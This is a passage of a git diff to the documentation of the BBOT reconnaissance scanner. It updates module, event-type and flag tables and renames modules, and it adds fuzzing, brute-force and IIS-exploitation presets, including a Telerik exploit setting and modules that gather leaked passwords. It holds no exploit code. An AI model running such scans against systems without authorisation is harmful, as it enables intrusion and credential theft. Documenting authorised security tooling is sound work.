portscan, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, skymem, speculate, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, viewdns, virustotal, wayback | anubisdb, azure_tenant, bevigil, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, crt, crt_db, digitorus, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnsresolve, fullhunt, hackertarget, hunterio, leakix, myssl, ntlm, oauth, otx, passivetotal, rapiddns, securitytrails, shodan_dns, shodan_idb, sitedossier, speculate, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, viewdns, virustotal, wayback | -| DNS_NAME_UNRESOLVED | 3 | 0 | baddns, speculate, subdomains | | -| EMAIL_ADDRESS | 1 | 11 | emails | credshed, dehashed, dnscaa, dnstlsrpt, emailformat, github_usersearch, hunterio, pgp, securitytxt, skymem, sslcert | -| FILESYSTEM | 4 | 9 | jadx, kreuzberg, trufflehog, unarchive | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, jadx, postman_download, unarchive | -| FINDING | 2 | 36 | asset_inventory, web_report | ajaxpro, aspnet_bin_exposure, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bypass403, dotnetnuke, git, gitlab_onprem, graphql_introspection, host_header, hunt, legba, lightfuzz, medusa, newsletters, ntlm, nuclei, reflected_parameters, retirejs, shodan_enterprise, shodan_idb, smuggler, speculate, telerik, trajan, trufflehog, url_manipulation, wpscan | -| GEOLOCATION | 0 | 2 | | ip2location, ipstack | -| HASHED_PASSWORD | 0 | 2 | | credshed, dehashed | -| HTTP_RESPONSE | 18 | 1 | ajaxpro, asset_inventory, badsecrets, dotnetnuke, excavate, filedownload, gitlab_onprem, host_header, newsletters, nmap_xml, ntlm, paramminer_cookies, paramminer_getparams, paramminer_headers, speculate, telerik, trufflehog, wpscan | httpx | -| IP_ADDRESS | 11 | 5 | asn, asset_inventory, censys_ip, ip2location, ipneighbor, ipstack, nmap_xml, portscan, shodan_enterprise, shodan_idb, speculate | asset_inventory, censys_ip, dnsresolve, ipneighbor, speculate | -| IP_RANGE | 2 | 0 | portscan, speculate | | -| MOBILE_APP | 1 | 1 | apkpure | google_playstore | -| OPEN_TCP_PORT | 6 | 6 | asset_inventory, fingerprintx, httpx, nmap_xml, portfilter, sslcert | asset_inventory, censys_ip, portscan, shodan_enterprise, shodan_idb, speculate | -| OPEN_UDP_PORT | 0 | 2 | | censys_ip, shodan_enterprise | -| ORG_STUB | 4 | 1 | dockerhub, github_org, google_playstore, postman | speculate | -| PASSWORD | 0 | 2 | | credshed, dehashed | -| PROTOCOL | 3 | 2 | legba, medusa, nmap_xml | censys_ip, fingerprintx | -| RAW_DNS_RECORD | 0 | 3 | | dnsbimi, dnsresolve, dnstlsrpt | -| RAW_TEXT | 2 | 1 | excavate, trufflehog | kreuzberg | -| SOCIAL | 7 | 4 | dockerhub, github_org, gitlab_com, gitlab_onprem, gowitness, postman, speculate | dockerhub, github_usersearch, gitlab_onprem, social | -| STORAGE_BUCKET | 8 | 5 | baddns_direct, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, speculate | bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft | -| TECHNOLOGY | 5 | 10 | asset_inventory, gitlab_onprem, trajan, web_report, wpscan | ajaxpro, badsecrets, censys_ip, dotnetnuke, gitlab_onprem, gowitness, nuclei, shodan_enterprise, shodan_idb, wpscan | -| URL | 22 | 2 | ajaxpro, aspnet_bin_exposure, asset_inventory, baddns_direct, bypass403, ffuf, git, gowitness, graphql_introspection, httpx, iis_shortnames, lightfuzz, ntlm, nuclei, portfilter, robots, smuggler, speculate, telerik, url_manipulation, wafw00f, web_report | gowitness, httpx | -| URL_HINT | 1 | 1 | ffuf_shortnames | iis_shortnames | -| URL_UNVERIFIED | 9 | 19 | code_repository, filedownload, httpx, oauth, portfilter, retirejs, social, speculate, trajan | azure_tenant, bevigil, bucket_file_enum, censys_ip, dnsbimi, dnscaa, dnstlsrpt, dockerhub, excavate, ffuf, ffuf_shortnames, github_codesearch, gowitness, hunterio, robots, securitytxt, urlscan, wayback, wpscan | -| USERNAME | 1 | 2 | speculate | credshed, dehashed | -| VHOST | 1 | 0 | web_report | | -| WAF | 1 | 1 | asset_inventory | wafw00f | -| WEBSCREENSHOT | 0 | 1 | | gowitness | -| WEB_PARAMETER | 7 | 4 | hunt, lightfuzz, paramminer_cookies, paramminer_getparams, paramminer_headers, reflected_parameters, web_parameters | excavate, paramminer_cookies, paramminer_getparams, paramminer_headers | +| Event Type | # Consuming Modules | # Producing Modules | Consuming Modules | Producing Modules | +|---------------------|-----------------------|-----------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| * | 24 | 0 | affiliates, cloudcheck, csv, discord, dnsresolve, elastic, json, kafka, mongo, mysql, nats, neo4j, postgres, python, rabbitmq, slack, splunk, sqlite, stdout, teams, txt, webhook, websocket, zeromq | | +| ASN | 0 | 1 | | asn | +| AZURE_TENANT | 1 | 1 | speculate | azure_tenant | +| CODE_REPOSITORY | 8 | 8 | docker_pull, git_clone, gitdumper, github_workflows, google_playstore, postman_download, trajan, trufflehog | code_repository, dockerhub, git, github_codesearch, github_org, gitlab_com, gitlab_onprem, postman | +| DNS_NAME | 57 | 39 | anubisdb, asset_inventory, azure_tenant, baddns, baddns_zone, bevigil, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, credshed, crt, crt_db, dehashed, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, emailformat, fullhunt, github_codesearch, github_usersearch, hackertarget, hunterio, leakix, myssl, nmap_xml, oauth, otx, pgp, portscan, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, skymem, speculate, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, viewdns, virustotal, wayback | anubisdb, azure_tenant, bevigil, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, crt, crt_db, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnsresolve, fullhunt, hackertarget, hunterio, leakix, myssl, ntlm, oauth, otx, rapiddns, securitytrails, shodan_dns, shodan_idb, speculate, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, viewdns, virustotal, wayback | +| DNS_NAME_UNRESOLVED | 3 | 0 | baddns, speculate, subdomains | | +| EMAIL_ADDRESS | 1 | 11 | emails | credshed, dehashed, dnscaa, dnstlsrpt, emailformat, github_usersearch, hunterio, pgp, securitytxt, skymem, sslcert | +| FILESYSTEM | 4 | 9 | jadx, kreuzberg, trufflehog, unarchive | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, jadx, postman_download, unarchive | +| FINDING | 2 | 37 | asset_inventory, web_report | ajaxpro, aspnet_bin_exposure, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bypass403, dotnetnuke, generic_ssrf, git, gitlab_onprem, graphql_introspection, host_header, hunt, legba, lightfuzz, medusa, newsletters, ntlm, nuclei, reflected_parameters, retirejs, shodan_enterprise, shodan_idb, speculate, telerik, trajan, trufflehog, url_manipulation, wpscan | +| GEOLOCATION | 0 | 2 | | ip2location, ipstack | +| HASHED_PASSWORD | 0 | 2 | | credshed, dehashed | +| HTTP_RESPONSE | 19 | 1 | ajaxpro, asset_inventory, badsecrets, dotnetnuke, excavate, filedownload, gitlab_onprem, host_header, newsletters, nmap_xml, ntlm, paramminer_cookies, paramminer_getparams, paramminer_headers, speculate, sslcert, telerik, trufflehog, wpscan | http | +| IP_ADDRESS | 11 | 5 | asn, asset_inventory, censys_ip, ip2location, ipneighbor, ipstack, nmap_xml, portscan, shodan_enterprise, shodan_idb, speculate | asset_inventory, censys_ip, dnsresolve, ipneighbor, speculate | +| IP_RANGE | 2 | 0 | portscan, speculate | | +| MOBILE_APP | 1 | 1 | apkpure | google_playstore | +| OPEN_TCP_PORT | 5 | 6 | asset_inventory, fingerprintx, http, nmap_xml, portfilter | asset_inventory, censys_ip, portscan, shodan_enterprise, shodan_idb, speculate | +| OPEN_UDP_PORT | 0 | 2 | | censys_ip, shodan_enterprise | +| ORG_STUB | 4 | 1 | dockerhub, github_org, google_playstore, postman | speculate | +| PASSWORD | 0 | 2 | | credshed, dehashed | +| PROTOCOL | 3 | 2 | legba, medusa, nmap_xml | censys_ip, fingerprintx | +| RAW_DNS_RECORD | 0 | 3 | | dnsbimi, dnsresolve, dnstlsrpt | +| RAW_TEXT | 2 | 1 | excavate, trufflehog | kreuzberg | +| SOCIAL | 7 | 4 | dockerhub, github_org, gitlab_com, gitlab_onprem, gowitness, postman, speculate | dockerhub, github_usersearch, gitlab_onprem, social | +| STORAGE_BUCKET | 9 | 6 | baddns_direct, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, speculate | bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft | +| TECHNOLOGY | 5 | 10 | asset_inventory, gitlab_onprem, trajan, web_report, wpscan | ajaxpro, badsecrets, censys_ip, dotnetnuke, gitlab_onprem, gowitness, nuclei, shodan_enterprise, shodan_idb, wpscan | +| URL | 22 | 2 | ajaxpro, aspnet_bin_exposure, asset_inventory, baddns_direct, bypass403, generic_ssrf, git, gowitness, graphql_introspection, http, iis_shortnames, lightfuzz, ntlm, nuclei, portfilter, robots, speculate, telerik, url_manipulation, wafw00f, web_report, webbrute | gowitness, http | +| URL_HINT | 1 | 1 | webbrute_shortnames | iis_shortnames | +| URL_UNVERIFIED | 9 | 20 | code_repository, filedownload, http, oauth, portfilter, retirejs, social, speculate, trajan | azure_tenant, bevigil, bucket_file_enum, censys_ip, dnsbimi, dnscaa, dnstlsrpt, dockerhub, excavate, fingerprintx, github_codesearch, gowitness, hunterio, robots, securitytxt, urlscan, wayback, webbrute, webbrute_shortnames, wpscan | +| USERNAME | 1 | 2 | speculate | credshed, dehashed | +| WAF | 1 | 1 | asset_inventory | wafw00f | +| WEBSCREENSHOT | 0 | 1 | | gowitness | +| WEB_PARAMETER | 7 | 4 | hunt, lightfuzz, paramminer_cookies, paramminer_getparams, paramminer_headers, reflected_parameters, web_parameters | excavate, paramminer_cookies, paramminer_getparams, paramminer_headers | ## Findings diff --git a/docs/scanning/index.md b/docs/scanning/index.md index 70ee5d179c..1c6e286210 100644 --- a/docs/scanning/index.md +++ b/docs/scanning/index.md @@ -112,30 +112,30 @@ A single module can have multiple flags. For example, the `securitytrails` modul ### List of Flags -| Flag | # Modules | Description | Modules | -|------------------|-------------|----------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| safe | 101 | Non-intrusive and non-destructive | affiliates, aggregate, ajaxpro, anubisdb, apkpure, asn, aspnet_bin_exposure, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, emails, excavate, filedownload, fingerprintx, fullhunt, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, gowitness, graphql_introspection, hackertarget, httpx, hunt, hunterio, ip2location, ipstack, jadx, kreuzberg, leakix, myssl, newsletters, ntlm, oauth, otx, passivetotal, pgp, portfilter, postman, postman_download, rapiddns, reflected_parameters, retirejs, robots, securitytrails, securitytxt, shodan_dns, shodan_enterprise, shodan_idb, sitedossier, skymem, social, speculate, sslcert, subdomaincenter, subdomainradar, subdomains, trajan, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | -| passive | 71 | Never connects to target systems | affiliates, aggregate, anubisdb, apkpure, asn, azure_tenant, bevigil, bucket_file_enum, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnscaa, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, excavate, fullhunt, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, google_playstore, hackertarget, hunterio, ip2location, ipneighbor, ipstack, jadx, kreuzberg, leakix, myssl, otx, passivetotal, pgp, portfilter, postman, postman_download, rapiddns, securitytrails, shodan_dns, shodan_enterprise, shodan_idb, sitedossier, skymem, social, speculate, subdomaincenter, subdomainradar, trajan, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | -| active | 50 | Makes active connections to target systems | ajaxpro, aspnet_bin_exposure, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bypass403, dnsbrute, dnsbrute_mutations, dnscommonsrv, dotnetnuke, ffuf, ffuf_shortnames, filedownload, fingerprintx, git, gitlab_com, gitlab_onprem, gowitness, graphql_introspection, host_header, httpx, hunt, iis_shortnames, legba, lightfuzz, medusa, newsletters, ntlm, nuclei, oauth, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, reflected_parameters, retirejs, robots, securitytxt, smuggler, sslcert, telerik, url_manipulation, wafw00f, wpscan | -| subdomain-enum | 50 | Enumerates subdomains | anubisdb, asn, azure_tenant, baddns_direct, baddns_zone, bevigil, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, httpx, hunterio, ipneighbor, leakix, myssl, oauth, otx, passivetotal, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, sslcert, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, virustotal, wayback | -| loud | 22 | Generates a large amount of network traffic | bypass403, dnsbrute, dnsbrute_mutations, dotnetnuke, ffuf, ffuf_shortnames, host_header, iis_shortnames, ipneighbor, legba, lightfuzz, medusa, nuclei, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, smuggler, telerik, url_manipulation, wafw00f, wpscan | -| code-enum | 19 | Find public code repositories and search them for secrets etc. | apkpure, code_repository, docker_pull, dockerhub, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, jadx, postman, postman_download, trajan, trufflehog | -| web | 16 | Non-intrusive web scan functionality | baddns, badsecrets, bucket_amazon, bucket_firebase, bucket_google, bucket_microsoft, filedownload, git, graphql_introspection, httpx, iis_shortnames, ntlm, oauth, robots, securitytxt, sslcert | -| cloud-enum | 15 | Enumerates cloud resources | azure_tenant, baddns, baddns_direct, baddns_zone, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, dnsbimi, dnstlsrpt, httpx, oauth, securitytxt | -| web-heavy | 14 | More advanced web scanning functionality | ajaxpro, aspnet_bin_exposure, bucket_digitalocean, bypass403, dotnetnuke, ffuf_shortnames, host_header, hunt, lightfuzz, reflected_parameters, retirejs, smuggler, telerik, url_manipulation | -| slow | 10 | May take a long time to complete | bucket_digitalocean, dnsbrute_mutations, docker_pull, fingerprintx, git_clone, gitdumper, paramminer_cookies, paramminer_getparams, paramminer_headers, smuggler | -| email-enum | 9 | Enumerates email addresses | dehashed, dnscaa, dnstlsrpt, emailformat, emails, hunterio, pgp, skymem, sslcert | -| affiliates | 7 | Discovers affiliated hostnames/domains | affiliates, azure_tenant, builtwith, oauth, sslcert, trickest, viewdns | -| download | 7 | Modules that download files, apps, or repositories | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, postman_download | -| invasive | 7 | Intrusive or potentially destructive | dotnetnuke, legba, lightfuzz, medusa, nuclei, smuggler, telerik | -| baddns | 3 | Runs all modules from the DNS auditing tool BadDNS | baddns, baddns_direct, baddns_zone | -| web-paramminer | 3 | Discovers HTTP parameters through brute-force | paramminer_cookies, paramminer_getparams, paramminer_headers | -| iis-shortnames | 2 | Scans for IIS Shortname vulnerability | ffuf_shortnames, iis_shortnames | -| portscan | 2 | Discovers open ports | portscan, shodan_idb | -| social-enum | 2 | Enumerates social media | httpx, social | -| service-enum | 1 | Identifies protocols running on open ports | fingerprintx | -| subdomain-hijack | 1 | Detects hijackable subdomains | baddns | -| web-screenshots | 1 | Takes screenshots of web pages | gowitness | +| Flag | # Modules | Description | Modules | +|------------------|-------------|----------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| safe | 99 | Non-intrusive and non-destructive | affiliates, aggregate, ajaxpro, anubisdb, apkpure, asn, aspnet_bin_exposure, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, dnsbimi, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, emails, excavate, filedownload, fingerprintx, fullhunt, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, gowitness, graphql_introspection, hackertarget, http, hunt, hunterio, ip2location, ipstack, jadx, kreuzberg, leakix, myssl, newsletters, ntlm, oauth, otx, pgp, portfilter, postman, postman_download, rapiddns, reflected_parameters, retirejs, robots, securitytrails, securitytxt, shodan_dns, shodan_enterprise, shodan_idb, skymem, social, speculate, sslcert, subdomaincenter, subdomainradar, subdomains, trajan, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | +| passive | 68 | Never connects to target systems | affiliates, aggregate, anubisdb, apkpure, asn, azure_tenant, bevigil, bucket_file_enum, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, dnsbimi, dnscaa, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, excavate, fullhunt, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, google_playstore, hackertarget, hunterio, ip2location, ipneighbor, ipstack, jadx, kreuzberg, leakix, myssl, otx, pgp, portfilter, postman, postman_download, rapiddns, securitytrails, shodan_dns, shodan_enterprise, shodan_idb, skymem, social, speculate, subdomaincenter, subdomainradar, trajan, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | +| active | 51 | Makes active connections to target systems | ajaxpro, aspnet_bin_exposure, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bypass403, dnsbrute, dnsbrute_mutations, dnscommonsrv, dotnetnuke, filedownload, fingerprintx, generic_ssrf, git, gitlab_com, gitlab_onprem, gowitness, graphql_introspection, host_header, http, hunt, iis_shortnames, legba, lightfuzz, medusa, newsletters, ntlm, nuclei, oauth, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, reflected_parameters, retirejs, robots, securitytxt, sslcert, telerik, url_manipulation, wafw00f, webbrute, webbrute_shortnames, wpscan | +| subdomain-enum | 47 | Enumerates subdomains | anubisdb, asn, azure_tenant, baddns_direct, baddns_zone, bevigil, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, http, hunterio, ipneighbor, leakix, myssl, oauth, otx, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sslcert, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, virustotal, wayback | +| loud | 21 | Generates a large amount of network traffic | bypass403, dnsbrute, dnsbrute_mutations, dotnetnuke, host_header, iis_shortnames, ipneighbor, legba, lightfuzz, medusa, nuclei, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, telerik, url_manipulation, wafw00f, webbrute, webbrute_shortnames, wpscan | +| code-enum | 19 | Find public code repositories and search them for secrets etc. | apkpure, code_repository, docker_pull, dockerhub, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, jadx, postman, postman_download, trajan, trufflehog | +| cloud-enum | 16 | Enumerates cloud resources | azure_tenant, baddns, baddns_direct, baddns_zone, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, dnsbimi, dnstlsrpt, http, oauth, securitytxt | +| web | 16 | Non-intrusive web scan functionality | baddns, badsecrets, bucket_amazon, bucket_firebase, bucket_google, bucket_microsoft, filedownload, git, graphql_introspection, http, iis_shortnames, ntlm, oauth, robots, securitytxt, sslcert | +| web-heavy | 15 | More advanced web scanning functionality | ajaxpro, aspnet_bin_exposure, bucket_digitalocean, bucket_hetzner, bypass403, dotnetnuke, generic_ssrf, host_header, hunt, lightfuzz, reflected_parameters, retirejs, telerik, url_manipulation, webbrute_shortnames | +| slow | 10 | May take a long time to complete | bucket_digitalocean, bucket_hetzner, dnsbrute_mutations, docker_pull, fingerprintx, git_clone, gitdumper, paramminer_cookies, paramminer_getparams, paramminer_headers | +| email-enum | 9 | Enumerates email addresses | dehashed, dnscaa, dnstlsrpt, emailformat, emails, hunterio, pgp, skymem, sslcert | +| affiliates | 7 | Discovers affiliated hostnames/domains | affiliates, azure_tenant, builtwith, oauth, sslcert, trickest, viewdns | +| download | 7 | Modules that download files, apps, or repositories | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, postman_download | +| invasive | 7 | Intrusive or potentially destructive | dotnetnuke, generic_ssrf, legba, lightfuzz, medusa, nuclei, telerik | +| baddns | 3 | Runs all modules from the DNS auditing tool BadDNS | baddns, baddns_direct, baddns_zone | +| web-paramminer | 3 | Discovers HTTP parameters through brute-force | paramminer_cookies, paramminer_getparams, paramminer_headers | +| iis-shortnames | 2 | Scans for IIS Shortname vulnerability | iis_shortnames, webbrute_shortnames | +| portscan | 2 | Discovers open ports | portscan, shodan_idb | +| social-enum | 2 | Enumerates social media | http, social | +| service-enum | 1 | Identifies protocols running on open ports | fingerprintx | +| subdomain-hijack | 1 | Detects hijackable subdomains | baddns | +| web-screenshots | 1 | Takes screenshots of web pages | gowitness | ## Dependencies diff --git a/docs/scanning/presets_list.md b/docs/scanning/presets_list.md index 354aac1728..d599e75a81 100644 --- a/docs/scanning/presets_list.md +++ b/docs/scanning/presets_list.md @@ -107,16 +107,16 @@ Recursive web directory brute-force (aggressive) - iis-shortnames modules: - - ffuf + - webbrute - wayback config: modules: iis_shortnames: - # we exploit the shortnames vulnerability to produce URL_HINTs which are consumed by ffuf_shortnames + # we exploit the shortnames vulnerability to produce URL_HINTs which are consumed by webbrute_shortnames detect_only: False - ffuf: - depth: 3 + webbrute: + max_depth: 3 lines: 5000 extensions: - php @@ -155,11 +155,11 @@ Basic web directory brute-force (surface-level directories only) - iis-shortnames modules: - - ffuf + - webbrute config: modules: - ffuf: + webbrute: # wordlist size = 1000 lines: 1000 ``` @@ -181,10 +181,10 @@ Comprehensive scan for all IIS/.NET specific modules and module settings - iis-shortnames modules: - - httpx + - http - badsecrets - - ffuf_shortnames - - ffuf + - webbrute_shortnames + - webbrute - telerik - ajaxpro - dotnetnuke @@ -192,10 +192,10 @@ Comprehensive scan for all IIS/.NET specific modules and module settings config: modules: - ffuf: + webbrute: extensions: asp,aspx,ashx,asmx,ascx - extensions_ignore_case: True - ffuf_shortnames: + ignore_case: True + webbrute_shortnames: find_subwords: True telerik: exploit_RAU_crypto: True @@ -294,6 +294,13 @@ Everything everywhere all at once - dirbust-light - web-screenshots - baddns-heavy + + config: + modules: + dnsbrute: + recursive_mutations: true + dnscommonsrv: + recursive_mutations: true ``` @@ -366,7 +373,7 @@ Minimal fuzzing: only path traversal, SQLi, and XSS submodules. No POST requests description: "Minimal fuzzing: only path traversal, SQLi, and XSS submodules. No POST requests. No companion modules. Safest option for running alongside larger scans with minimal overhead." modules: - - httpx + - http - lightfuzz - portfilter @@ -392,14 +399,15 @@ Modules: [0]("") ## **lightfuzz-max** -Maximum fuzzing: everything in lightfuzz-heavy, plus WAF targets are no longer skipped, each unique parameter-value pair is fuzzed individually (no collapsing), common headers like X-Forwarded-For are fuzzed even if not observed, and potential parameters are speculated from JSON/XML response bodies. Significantly increases scan time. +Maximum fuzzing: everything in lightfuzz-heavy, plus the heavy paramminer variant (1-3 letter brute-force on GET params, case mutation on case-sensitive backends, recycle_words on all paramminer modules), WAF targets are no longer skipped, each unique parameter-value pair is fuzzed individually (no collapsing), common headers like X-Forwarded-For are fuzzed even if not observed, and potential parameters are speculated from JSON/XML response bodies. Significantly increases scan time. ??? note "`lightfuzz-max.yml`" ```yaml title="~/.bbot/presets/web/lightfuzz-max.yml" - description: "Maximum fuzzing: everything in lightfuzz-heavy, plus WAF targets are no longer skipped, each unique parameter-value pair is fuzzed individually (no collapsing), common headers like X-Forwarded-For are fuzzed even if not observed, and potential parameters are speculated from JSON/XML response bodies. Significantly increases scan time." + description: "Maximum fuzzing: everything in lightfuzz-heavy, plus the heavy paramminer variant (1-3 letter brute-force on GET params, case mutation on case-sensitive backends, recycle_words on all paramminer modules), WAF targets are no longer skipped, each unique parameter-value pair is fuzzed individually (no collapsing), common headers like X-Forwarded-For are fuzzed even if not observed, and potential parameters are speculated from JSON/XML response bodies. Significantly increases scan time." include: - lightfuzz-heavy + - paramminer-heavy config: url_querystring_collapse: False # in cases where the same parameter is observed multiple times, fuzz them individually instead of collapsing them into a single parameter @@ -425,7 +433,7 @@ XSS-only: enables only the xss submodule with paramminer_getparams and reflected description: "XSS-only: enables only the xss submodule with paramminer_getparams and reflected_parameters. POST disabled, no query string collapsing. Example of a focused single-submodule preset." modules: - - httpx + - http - lightfuzz - paramminer_getparams - reflected_parameters @@ -459,7 +467,7 @@ Run nuclei scans against all discovered targets description: Run nuclei scans against all discovered targets modules: - - httpx + - http - nuclei - portfilter @@ -505,7 +513,7 @@ Run nuclei scans against all discovered targets, using budget mode to look for l description: Run nuclei scans against all discovered targets, using budget mode to look for low hanging fruit with greatly reduced number of requests modules: - - httpx + - http - nuclei - portfilter @@ -536,7 +544,7 @@ Run nuclei scans against all discovered targets, allowing for spidering, against description: Run nuclei scans against all discovered targets, allowing for spidering, against ALL URLs, and with additional discovery modules. modules: - - httpx + - http - nuclei - robots - urlscan @@ -576,7 +584,7 @@ Run nuclei scans against all discovered targets, running templates which match d description: Run nuclei scans against all discovered targets, running templates which match discovered technologies modules: - - httpx + - http - nuclei - portfilter @@ -614,7 +622,7 @@ Discover new web parameters via brute-force, and analyze them with additional mo - web-paramminer modules: - - httpx + - http - reflected_parameters - hunt @@ -629,6 +637,33 @@ Category: web Modules: [0]("") +## **paramminer-heavy** + +Aggressive paramminer brute-force: enables 1-3 letter combination brute-force on GET parameters and case mutation (camelCase / Title-case variants) on case-sensitive backends. Significantly increases scan time. + +??? note "`paramminer-heavy.yml`" + ```yaml title="~/.bbot/presets/web/paramminer-heavy.yml" + description: "Aggressive paramminer brute-force: enables 1-3 letter combination brute-force on GET parameters and case mutation (camelCase / Title-case variants) on case-sensitive backends. Significantly increases scan time." + + include: + - paramminer + + config: + modules: + paramminer_getparams: + brute_short: True + mutate_case: True + recycle_words: True + paramminer_headers: + recycle_words: True + paramminer_cookies: + recycle_words: True + ``` + +Category: web + +Modules: [0]("") + ## **spider** Recursive web spider @@ -638,7 +673,7 @@ Recursive web spider description: Recursive web spider modules: - - httpx + - http blacklist: # Prevent spider from invalidating sessions by logging out @@ -810,34 +845,35 @@ Modules: [0]("") Here is a the same data, but in a table: -| Preset | Category | Description | # Modules | Modules | -|-------------------|------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------|---------------------------------------------------------------------------------------------| -| baddns | | Check for subdomain takeovers and other DNS issues. | 1 | baddns | -| baddns-heavy | | Run all baddns modules and submodules. | 3 | baddns, baddns_direct, baddns_zone | -| cloud-enum | | Enumerate cloud resources such as storage buckets, etc. | 0 | | -| code-enum | | Enumerate Git repositories, Docker images, etc. | 0 | | -| dirbust-heavy | web | Recursive 